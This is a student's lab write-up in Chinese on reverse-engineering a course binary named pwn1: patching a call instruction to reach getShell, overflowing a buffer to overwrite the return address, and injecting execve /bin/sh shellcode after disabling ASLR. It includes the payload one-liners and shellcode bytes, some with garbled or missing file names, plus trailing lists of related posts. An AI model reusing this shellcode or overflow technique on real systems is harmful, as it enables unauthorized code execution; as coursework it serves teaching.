前言:实验中用到的知识

JE:条件转移指令,如果相等则跳转;

JNE:条件转移指令(等同于“Jump Not Equal”),如果不相等则跳转;

JMP:无条件跳转指令。无条件跳转指令可转到内存中任何程序段。转移地址可在指令中给出,也可以在寄存器中给出,或在存储器中指出;

NOP:“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令;

CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

根据内容得出(在实验中我只保留了关键的三个部分,所以没放部分汇编指令的部分的截图)

JE 汇编指令的机器码是“”

objdump反汇编常用参数

objdump -d <file(s)> 将代码段反汇编

xxd命令

:%!xxd 回车后,该文件会以十六进制形式显示

:%!xxd -r  参数-r是指将当前的十六进制转换为二进制;

一:直接修改程序机器指令,改变程序执行流程

把老师给的pwn1放在了桌面并且重命名为20164325wxr,所以我需要  cd Desktop ;因为害怕会出错所以要备份 cp 20164325wxr  。

进行反汇编:使用命令  objdump -d | more

观察getshell,foo,main;

原理:main函数中的地址”80484b5“所对应的“call 8048491”这条指令是调用地址为”8048491“的foo函数,而对应指令为“e8 d7ffffff”;“e8”是跳转指令,如果按正常情况进行,会执行main函数的下一步,也就是“80484ba”地址的指令,所以按老师上课所讲内容,此时的EIP值就为“80484ba”。

在这里执行的是”call“指令,cpu就会转而执行 “EIP + d7ffffff”这个指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29就是8048491这个值。

所以只要修改d7ffffff为"getShell-80484ba"的补码,就能实现调用getShell,所以需要把d7ffffff变c3ffffff。

过程:
1. Vi  进行命令模式

2.  :%!xxd 将显示模式切换为十六进制

在底行模式输入/e8 d7定位需要修改的地方,中间加一个空格更好找。

3.选中修改为c3

输入 :%!xxd -r 将十六进制转换为原格式

使用 :wq 保存并退出

结果为:

4.  ./  得到shell提示符

二:通过构造输入参数,造成BOF攻击,改变程序执行流

原理:foo函数中存在漏洞,可以利用foo在读写字符串是的漏洞造成缓冲区溢出,达到调用shell的目的。覆盖原返回地址080484ba,覆盖的部分为getShell函数起始地址0804847d,在对其进行攻击。

过程:

1.我先备份一个文件名为201643251

2.使用gdb进行调试,运行可执行文件,输入:1111111122222222333333334444444455555555

输入 info r eip  查看eip寄存器的值,我记得与实验指导相同,是35353535确定是55555555部分覆盖了返回地址

(这里找eip寄存器的值的截图不见了)

3.进一步确定范围,同上输入1111111122222222333333334444444412345678

输入 info r eip  查看寄存器的值,因为得出的是34333231所以确定是1234部分覆盖了返回地址,并且是倒序

4.键盘不能直接输入十六进制,所以要先生成包括\x7d\x84\x04\x08的字符串文件

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a" ' > input

用 xxd input  十六进制显示文件

确认无误后,查看文件并通过管道将查看结果送入201643251中运行

三:注入Shellcode并执行

1. apt-get install execstack  先安装execstack

execstack -s   并设置堆栈可执行

execstack -q   查询是否可执行

more /proc/sys/kernel/randomize_va_space  查询是否关闭地址随机化,2为开启,0为关闭

echo " > /proc/sys/kernel/randomize_va_space  关闭地址随机化

2.注入shellcode

把输入的字串放入input_shellcode文件里

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

再输入 (cat input_shellcode;cat)| ./   注意只打一次空格

另外打开一个终端,输入 ps -ef | grep  来查看201643251的进程号

输入指令 attach  调试这个进程

使用指令 disassemble foo 设置断点

break *0x080484ae 在另外一个终端中按下回车。

通过  info r esp  查看esp寄存器,找到01020304,即返回地址,shellcode就在该地址之后,因此,如图,将\x4\x3\x2\x1置为\x60\xd3\xff\xff即可

四:实验总结

在这次实践中,通过三种方法改变了执行文件的执行流程,对应着三种不同的攻击思想;第一个是通过改地址来改变程序执行的流程,第二个是强行改变流程,第三个是注入shell代码攻击。

让我感受到了系统中存在很多漏洞,而什么是漏洞?漏洞有什么危害?我觉得漏洞就是存在的系统的缺点,就是能让外界有机可乘的缺点,开发者开发的时候会出现的一些想不到的地方,如果对这些地方进行攻击就会有相对的危害,而且我觉得漏洞是很常见的,有大漏洞也有小漏洞,但是只要是有漏洞的就是很致命的;关于漏洞的危害,漏洞出现就要及时的解决掉要不然就会发生很累恐怖的事情,比如黑客可以用过漏洞来监视你的生活,盗取你的文件;是你的系统瘫痪,对你进行勒索等等危害。

五:实验感想和收获

通过这次实验我真的学到了很多东西,本来在老师上课的时候讲的东西,对我来说还是一知半解,但是通过这次的实验,我对于这方面的知识就掌握的比较牢固了;这个实验我真的做了很长时间,不会的就会看实验指导和问同学,这个因为我的粗心所以重做了很多次,到最后一个攻击注入shellcode的时候在开启另外一个终端的时候,我按了两次回车,结果没有成功;我又做了了一遍才成功,这就说明做实验的时候一定要仔细,而且上课要好好听课,实验指导书步骤很清楚要仔细看!这次实验是第一次实验,我也是第一次接触博客,学到了实验外的很多应用,也有很多不足的地方,之后我会努力改进我的不足。

Exp1 PC平台逆向破解----20164325 王晓蕊的更多相关文章

  1. 20155324《网络对抗》Exp1 PC平台逆向破解(5)M

    20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...

  2. 2018-2019-2 20165237《网络攻防技术》Exp1 PC平台逆向破解

    2018-2019-2 20165237<网络攻防技术>Exp1 PC平台逆向破解 一.实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调 ...

  3. 20165221 《网络对抗技术》EXP1 PC平台逆向破解

    20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...

  5. 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解

    - 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...

  6. Exp1 PC平台逆向破解 20165235 祁瑛

    Exp1 PC平台逆向破解 20165235 祁瑛 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字 ...

  7. 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...

  8. 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...

  9. 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解

    2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...

随机推荐

  1. 【CPU微架构设计】利用Verilog设计基于饱和计数器和BTB的分支预测器

    在基于流水线(pipeline)的微处理器中,分支预测单元(Branch Predictor Unit)是一个重要的功能部件,它负责收集和分析分支/跳转指令的执行结果,当处理后续分支/跳转指令时,BP ...

  2. Python设计模式 - UML - 对象图(Object Diagram)

    简介 对象图和类图的基本概念是类似的,可以看作类图在系统某一时刻的镜像,显示了该时刻系统中参与交互的各个对象以及它们之间的关系. 对象图的元素包括对象.链接.包,元素之间的关系和类图相似. 对象图建模 ...

  3. wayne生产环境部署(360的容器发布平台-开源)

    参考文档 http://360yun.org/wayne/dev/develop-flow.html 使用rke部署k8s,详细过程见前面 文章,同时部署好kubectl 安装go yum insta ...

  4. linux之systemd---学习

    linux 操作系统的启动首先从 BIOS 开始,接下来进入 boot loader,由 bootloader 载入内核,进行内核初始化.内核初始化的最后一步就是启动 PID 为 1 的 init 进 ...

  5. promise之我见

    在我们平时的方法中有很多方法是promise封装的, 有些函数后边跟的then和catch 就是promise的方法,先看一下pormise的特点 (1)对象的状态不受外界影响.Promise对象代表 ...

  6. OO_多线程电梯_单元总结

    概述: 面向对象的第二单元是多线程电梯.第一次实现一部傻瓜电梯,每次只送一个人:第二次实现一部可稍带电梯:第三次实现三部可稍带电梯. 一.设计策略 1.第5.6次作业设计思路 第5.6次作业的架构相似 ...

  7. ios UITableView的style的区别与用法,以及分割线的显示与隐藏

    ******************tableview style****************************************************** // tableview ...

  8. 命令行连WiFi

    命令行连WiFi sudo iw dev wlan0 scan |grep SSID wpa_cli -iwlan0 add_network wpa_cli -iwlan0 set_network 4 ...

  9. 盯着这where or 终于出了点感觉

    AND 和 OR 运算符 AND 和 OR 可在 WHERE 子语句中把两个或多个条件结合起来. 如果第一个条件和第二个条件都成立,则 AND 运算符显示一条记录. 如果第一个条件和第二个条件中只要有 ...

  10. 26. pt-summary

    pt-summary # Percona Toolkit System Summary Report ###################### Date | 2018-11-23 10:48:51 ...